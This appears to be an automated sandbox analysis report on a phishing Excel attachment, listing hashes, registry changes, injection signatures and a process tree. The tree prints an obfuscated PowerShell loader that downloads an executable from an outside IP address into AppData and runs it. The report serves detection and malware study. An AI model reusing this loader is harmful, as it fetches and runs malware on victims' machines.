509083017c195ec73a47e614c455e43837d2c0c306d8fdc13021fd04c30febf9

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07-07-2024 01:00

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General

Target

inquiry MTO-PILZ-TF-8531.xls
Size

430KB
MD5

996967065e5478555d9c4bf0838f6fd0
SHA1

8c07156945c2c55d61df66ff9ee0f2d6c598a6a4
SHA256

158644533c0c9683e8c8da4cfafd48eb05164ae25bb0e5f433ed23aec8a7464e
SHA512

39c11818eae917356cd178476c2b55c67ca209246e11f0115999ae50e5f7fc6adc1d375ff974ef8020ccb25a1ad474a094f20625db4f741c902fdcf182e1e18e
SSDEEP

12288:U6NCL1OGQpozwjTqCfgn+/doG59yeXWWeIgpWpKhNSB:U6NC5rFWWCfgnkdoG59ye5cIOS

Score

10^/10

phishing

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2284	1724	ktmutil.exe	27

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	2956	mshta.exe
9	2956	mshta.exe
11	2000	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2104	hkcmd.exe

Loads dropped DLL 1 IoCs

pid	Process
2000	powershell.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0007000000017384-33.dat	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2104 set thread context of 1596	2104	hkcmd.exe	39
PID 1596 set thread context of 1724	1596	svchost.exe	27
PID 1596 set thread context of 2284	1596	svchost.exe	40
PID 2284 set thread context of 1724	2284	ktmutil.exe	27

Detected phishing page
phishing
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 33 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\Registry\User\S-1-5-21-2297530677-1229052932-2803917579-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	ktmutil.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1724	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
1596	svchost.exe
1596	svchost.exe
1596	svchost.exe
1596	svchost.exe
2284	ktmutil.exe
2284	ktmutil.exe
2284	ktmutil.exe
2284	ktmutil.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2104	hkcmd.exe
1596	svchost.exe
1724	EXCEL.EXE
1724	EXCEL.EXE
2284	ktmutil.exe
2284	ktmutil.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2104	hkcmd.exe
2104	hkcmd.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2104	hkcmd.exe
2104	hkcmd.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2392	2956	mshta.exe	32
PID 2956 wrote to memory of 2392	2956	mshta.exe	32
PID 2956 wrote to memory of 2392	2956	mshta.exe	32
PID 2956 wrote to memory of 2392	2956	mshta.exe	32
PID 2392 wrote to memory of 2000	2392	cmd.exe	34
PID 2392 wrote to memory of 2000	2392	cmd.exe	34
PID 2392 wrote to memory of 2000	2392	cmd.exe	34
PID 2392 wrote to memory of 2000	2392	cmd.exe	34
PID 2000 wrote to memory of 1128	2000	powershell.exe	35
PID 2000 wrote to memory of 1128	2000	powershell.exe	35
PID 2000 wrote to memory of 1128	2000	powershell.exe	35
PID 2000 wrote to memory of 1128	2000	powershell.exe	35
PID 1128 wrote to memory of 820	1128	csc.exe	36
PID 1128 wrote to memory of 820	1128	csc.exe	36
PID 1128 wrote to memory of 820	1128	csc.exe	36
PID 1128 wrote to memory of 820	1128	csc.exe	36
PID 2000 wrote to memory of 2104	2000	powershell.exe	38
PID 2000 wrote to memory of 2104	2000	powershell.exe	38
PID 2000 wrote to memory of 2104	2000	powershell.exe	38
PID 2000 wrote to memory of 2104	2000	powershell.exe	38
PID 2104 wrote to memory of 1596	2104	hkcmd.exe	39
PID 2104 wrote to memory of 1596	2104	hkcmd.exe	39
PID 2104 wrote to memory of 1596	2104	hkcmd.exe	39
PID 2104 wrote to memory of 1596	2104	hkcmd.exe	39
PID 2104 wrote to memory of 1596	2104	hkcmd.exe	39
PID 1724 wrote to memory of 2284	1724	EXCEL.EXE	40
PID 1724 wrote to memory of 2284	1724	EXCEL.EXE	40
PID 1724 wrote to memory of 2284	1724	EXCEL.EXE	40
PID 1724 wrote to memory of 2284	1724	EXCEL.EXE	40

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\inquiry MTO-PILZ-TF-8531.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\SysWOW64\ktmutil.exe
  "C:\Windows\SysWOW64\ktmutil.exe"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2284

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
1⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C poWerShelL -eX BYpaSS -nOP -w 1 -c deVIceCRedentIaLdePLOYMENt.exE ; ieX($(iex('[SySTEm.tExt.encODing]'+[ChAR]0x3a+[Char]0X3A+'UtF8.GetSTRing([SYsTEM.CoNVERT]'+[chAr]58+[CHAr]58+'FROMBASe64StRiNG('+[CHar]34+'JFhrRFFCQTQgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYkVyZGVmSW5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXYyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVBYmJvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWRDb1hXYlUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWm9mY0ZJLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQW9KKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm9NdENoRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5YRncgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYa0RRQkE0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC41LjE3LzY2MDU1L2lnY2N1LmV4ZSIsIiRFTnY6QVBQREFUQVxoa2NtZC5leGUiLDAsMCk7U3RhcnQtU0xFZXAoMyk7c3RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcaGtjbWQuZXhlIg=='+[CHar]0X22+'))')))"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWerShelL -eX BYpaSS -nOP -w 1 -c deVIceCRedentIaLdePLOYMENt.exE ; ieX($(iex('[SySTEm.tExt.encODing]'+[ChAR]0x3a+[Char]0X3A+'UtF8.GetSTRing([SYsTEM.CoNVERT]'+[chAr]58+[CHAr]58+'FROMBASe64StRiNG('+[CHar]34+'JFhrRFFCQTQgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYkVyZGVmSW5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXYyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVBYmJvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWRDb1hXYlUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWm9mY0ZJLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQW9KKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm9NdENoRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5YRncgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYa0RRQkE0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC41LjE3LzY2MDU1L2lnY2N1LmV4ZSIsIiRFTnY6QVBQREFUQVxoa2NtZC5leGUiLDAsMCk7U3RhcnQtU0xFZXAoMyk7c3RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcaGtjbWQuZXhlIg=='+[CHar]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vcqikgni.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6AF4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6AF3.tmp"
        5⤵
        
        PID:820
  - - C:\Users\Admin\AppData\Roaming\hkcmd.exe
      "C:\Users\Admin\AppData\Roaming\hkcmd.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\hkcmd.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\66055[1].hta

Filesize
8KB

MD5
c2d38ffc92cb365472534e51ec747405

SHA1
7e92d52683b46eec235e66f18c1b414fc75643d6

SHA256
82eeb1ac4df3cab27f9ea5b2a09b7c9993090bc33e9b0b8d9ae34673a0b3cd95

SHA512
a5db53376ba44aa7e9b4a5f00c6061f4a6dd0ff9a73e46f6801cc9d79d98b305bc4a9ff6b7f4b622a77d9f9355705dd1c154266fd264f866c2fcdc2d101e1ba0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6AF4.tmp

Filesize
1KB

MD5
22a7da98acc402b67f5f5836f1cc08a5

SHA1
51cf504a969959f6ce2ae8090dabaae4572f97c2

SHA256
f624411e55f26055f84e8db54ac20fe0b8a666a458bfc2602a24ef139ca429eb

SHA512
34639d4de7299acbd44217db185c8e4dbb0e68584820519d978f8be4a83d25a6fa6948c6d428c36573f4f8adbd50c75642024980aaa78ceee1805771fbba89c8

Download Submit
